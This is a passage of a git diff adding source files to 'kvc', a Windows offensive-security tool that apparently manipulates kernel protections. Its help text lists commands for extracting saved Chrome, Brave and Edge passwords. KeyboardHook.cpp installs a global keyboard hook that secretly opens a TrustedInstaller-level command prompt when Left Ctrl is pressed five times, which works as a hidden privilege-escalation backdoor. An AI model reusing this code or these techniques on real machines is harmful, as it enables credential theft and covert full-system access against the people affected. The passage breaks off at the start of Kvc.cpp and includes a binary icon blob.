FOREGROUND_INTENSITY); + std::wcout << L"=== " << title << L" ===\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept +{ + const int commandWidth = 50; + std::wcout << L" " << std::left << std::setw(commandWidth) + << command << L"- " << description << L"\n"; +} + +void HelpSystem::PrintNote(const wchar_t* note) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Gray color for informational notes + SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY); + std::wcout << L" " << note << L"\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintWarning(const wchar_t* warning) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Red color for warning messages + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" " << warning << L"\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} +void HelpSystem::PrintBrowserCommands() noexcept +{ + PrintSectionHeader(L"Browser Password Extraction Commands"); + PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)"); + PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly"); + PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords"); + PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords"); + PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory"); + PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path"); + PrintNote(L"Requires kvc_pass.exe in current directory"); + PrintNote(L"Uses COM elevation for advanced browser encryption"); + std::wcout << L"\n"; +} \ No newline at end of file diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h new file mode 100644 index 0000000..d2961bb --- /dev/null +++ b/kvc/HelpSystem.h @@ -0,0 +1,42 @@ +#pragma once + +#include "common.h" +#include + +// Comprehensive help system for kvc with modular command documentation +class HelpSystem +{ +public: + HelpSystem() = delete; + ~HelpSystem() = delete; + + // Main help interface + static void PrintUsage(std::wstring_view programName) noexcept; + + // Specific help sections + static void PrintHeader() noexcept; + static void PrintBasicCommands() noexcept; + static void PrintProtectionCommands() noexcept; + static void PrintSystemCommands() noexcept; + static void PrintDefenderCommands() noexcept; + static void PrintDPAPICommands() noexcept; + static void PrintBrowserCommands() noexcept; + static void PrintServiceCommands() noexcept; + static void PrintProtectionTypes() noexcept; + static void PrintExclusionTypes() noexcept; + static void PrintPatternMatching() noexcept; + static void PrintTechnicalFeatures() noexcept; + static void PrintDefenderNotes() noexcept; + static void PrintStickyKeysInfo() noexcept; + static void PrintUndumpableProcesses() noexcept; + static void PrintUsageExamples(std::wstring_view programName) noexcept; + static void PrintSecurityNotice() noexcept; + static void PrintFooter() noexcept; + +private: + // Helper methods for consistent formatting + static void PrintSectionHeader(const wchar_t* title) noexcept; + static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept; + static void PrintNote(const wchar_t* note) noexcept; + static void PrintWarning(const wchar_t* warning) noexcept; +}; \ No newline at end of file diff --git a/kvc/ICON/kvc.ico b/kvc/ICON/kvc.ico new file mode 100644 index 0000000000000000000000000000000000000000..22c098eac29092354f4136d2d27882bf6781ae13 GIT binary patch literal 23686 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 E3)7bE8~^|S literal 0 HcmV?d00001 diff --git a/kvc/KeyboardHook.cpp b/kvc/KeyboardHook.cpp new file mode 100644 index 0000000..9e5cc1d --- /dev/null +++ b/kvc/KeyboardHook.cpp @@ -0,0 +1,239 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "KeyboardHook.h" +#include "TrustedInstallerIntegrator.h" +#include "common.h" +#include + +// Static members +HHOOK KeyboardHook::m_hookHandle = nullptr; +std::vector KeyboardHook::m_leftCtrlSequence; +std::chrono::steady_clock::time_point KeyboardHook::m_lastKeyTime; + +KeyboardHook::KeyboardHook() +{ + m_leftCtrlSequence.reserve(SEQUENCE_LENGTH * 2); // Pre-allocate for efficiency +} + +KeyboardHook::~KeyboardHook() +{ + Uninstall(); +} + +bool KeyboardHook::Install() noexcept +{ + if (m_hookHandle) { + INFO(L"Keyboard hook already installed"); + return true; + } + + // Install low-level keyboard hook + m_hookHandle = SetWindowsHookEx( + WH_KEYBOARD_LL, + LowLevelKeyboardProc, + GetModuleHandle(nullptr), + 0 // Global hook + ); + + if (!m_hookHandle) { + ERROR(L"Failed to install keyboard hook: %d", GetLastError()); + return false; + } + + // Initialize tracking state + m_leftCtrlSequence.clear(); + m_lastKeyTime = std::chrono::steady_clock::now(); + + INFO(L"Low-level keyboard hook installed successfully"); + INFO(L"Sequence trigger: 5x Left Ctrl within %d ms", SEQUENCE_TIMEOUT_MS); + return true; +} + +void KeyboardHook::Uninstall() noexcept +{ + if (m_hookHandle) { + if (UnhookWindowsHookEx(m_hookHandle)) { + INFO(L"Keyboard hook uninstalled successfully"); + } else { + ERROR(L"Failed to uninstall keyboard hook: %d", GetLastError()); + } + m_hookHandle = nullptr; + } + + // Clear tracking state + m_leftCtrlSequence.clear(); +} + +LRESULT CALLBACK KeyboardHook::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Must call next hook in chain if nCode < 0 + if (nCode < 0) { + return CallNextHookEx(m_hookHandle, nCode, wParam, lParam); + } + + // Process keyboard event + if (nCode == HC_ACTION) { + KBDLLHOOKSTRUCT* pKeyboard = reinterpret_cast(lParam); + + // Check if it's Left Control key + if (pKeyboard->vkCode == VK_LCONTROL) { + bool isKeyDown = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN); + bool isKeyUp = (wParam == WM_KEYUP || wParam == WM_SYSKEYUP); + + if (isKeyDown || isKeyUp) { + ProcessLeftCtrlEvent(isKeyDown); + } + } + else { + // Any other key resets the sequence (prevents accidental triggering) + if (!m_leftCtrlSequence.empty()) { + m_leftCtrlSequence.clear(); + } + } + } + + // Continue processing + return CallNextHookEx(m_hookHandle, nCode, wParam, lParam); +} + +void KeyboardHook::ProcessLeftCtrlEvent(bool isKeyDown) noexcept +{ + auto now = std::chrono::steady_clock::now(); + + // Debouncing - ignore events too close together + auto timeSinceLastKey = std::chrono::duration_cast(now - m_lastKeyTime).count(); + if (timeSinceLastKey < DEBOUNCE_MS) { + return; + } + + m_lastKeyTime = now; + + // Only track key press events (down), ignore key release for simplicity + if (!isKeyDown) { + return; + } + + // Add to sequence + m_leftCtrlSequence.push_back({now, isKeyDown}); + + // Remove old entries outside time window + ClearOldEntries(); + + // Check if sequence is complete + if (CheckSequenceComplete()) { + INFO(L"5x Left Ctrl sequence detected! Launching TrustedInstaller CMD..."); + TriggerTrustedInstallerCmd(); + + // Clear sequence to prevent repeated triggering + m_leftCtrlSequence.clear(); + } + +#if kvc_DEBUG_ENABLED + LogSequenceState(); +#endif +} + +bool KeyboardHook::CheckSequenceComplete() noexcept +{ + // Need exactly SEQUENCE_LENGTH key presses + size_t keyPressCount = 0; + for (const auto& entry : m_leftCtrlSequence) { + if (entry.isPress) { + keyPressCount++; + } + } + + return keyPressCount >= SEQUENCE_LENGTH; +} + +void KeyboardHook::ClearOldEntries() noexcept +{ + auto now = std::chrono::steady_clock::now(); + auto cutoffTime = now - std::chrono::milliseconds(SEQUENCE_TIMEOUT_MS); + + // Remove entries older than timeout + auto it = std::remove_if(m_leftCtrlSequence.begin(), m_leftCtrlSequence.end(), + [cutoffTime](const KeyPress& entry) { + return entry.timestamp < cutoffTime; + }); + + m_leftCtrlSequence.erase(it, m_leftCtrlSequence.end()); +} + +void KeyboardHook::TriggerTrustedInstallerCmd() noexcept +{ + // Launch CMD with TrustedInstaller privileges + if (LaunchCmdWithTrustedInstaller()) { + SUCCESS(L"TrustedInstaller CMD launched successfully"); + } else { + ERROR(L"Failed to launch TrustedInstaller CMD"); + } +} + +bool KeyboardHook::LaunchCmdWithTrustedInstaller() noexcept +{ + try { + // Use existing TrustedInstaller infrastructure + TrustedInstallerIntegrator trustedInstaller; + + // Launch cmd.exe with maximum privileges + std::wstring cmdLine = L"cmd.exe"; + bool success = trustedInstaller.RunAsTrustedInstaller(cmdLine); + + if (success) { + INFO(L"CMD.exe launched with TrustedInstaller privileges via 5x Left Ctrl"); + } else { + ERROR(L"Failed to launch CMD.exe with TrustedInstaller privileges"); + } + + return success; + + } catch (const std::exception& e) { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"Exception launching TrustedInstaller CMD: %s", wmsg.c_str()); + return false; + } catch (...) { + ERROR(L"Unknown exception launching TrustedInstaller CMD"); + return false; + } +} + +void KeyboardHook::LogSequenceState() noexcept +{ + if (m_leftCtrlSequence.empty()) { + return; + } + + size_t keyPressCount = 0; + for (const auto& entry : m_leftCtrlSequence) { + if (entry.isPress) { + keyPressCount++; + } + } + + DEBUG(L"Left Ctrl sequence: %zu/%d presses tracked", keyPressCount, SEQUENCE_LENGTH); +} \ No newline at end of file diff --git a/kvc/KeyboardHook.h b/kvc/KeyboardHook.h new file mode 100644 index 0000000..9d828b9 --- /dev/null +++ b/kvc/KeyboardHook.h @@ -0,0 +1,50 @@ +#pragma once + +#include "common.h" +#include +#include + +// Low-level keyboard hook for 5x Left Ctrl sequence detection +class KeyboardHook +{ +public: + KeyboardHook(); + ~KeyboardHook(); + + KeyboardHook(const KeyboardHook&) = delete; + KeyboardHook& operator=(const KeyboardHook&) = delete; + + // Hook management + bool Install() noexcept; + void Uninstall() noexcept; + bool IsInstalled() const noexcept { return m_hookHandle != nullptr; } + + // Configuration + static constexpr int SEQUENCE_LENGTH = 5; // 5x Left Ctrl presses + static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; // 2 second window + static constexpr DWORD DEBOUNCE_MS = 50; // Debounce period + +private: + // Hook callback + static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); + + // Sequence tracking + struct KeyPress { + std::chrono::steady_clock::time_point timestamp; + bool isPress; // true for key down, false for key up + }; + + static HHOOK m_hookHandle; + static std::vector m_leftCtrlSequence; + static std::chrono::steady_clock::time_point m_lastKeyTime; + + // Internal logic + static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept; + static bool CheckSequenceComplete() noexcept; + static void ClearOldEntries() noexcept; + static void TriggerTrustedInstallerCmd() noexcept; + static bool LaunchCmdWithTrustedInstaller() noexcept; + + // Debugging and logging + static void LogSequenceState() noexcept; +}; \ No newline at end of file diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp new file mode 100644 index 0000000..c1b6724 --- /dev/null +++ b/kvc/Kvc.cpp @@ -0,0 +1,750 @@ +/******************************************************************************* + _ ____ ______ + | |/ 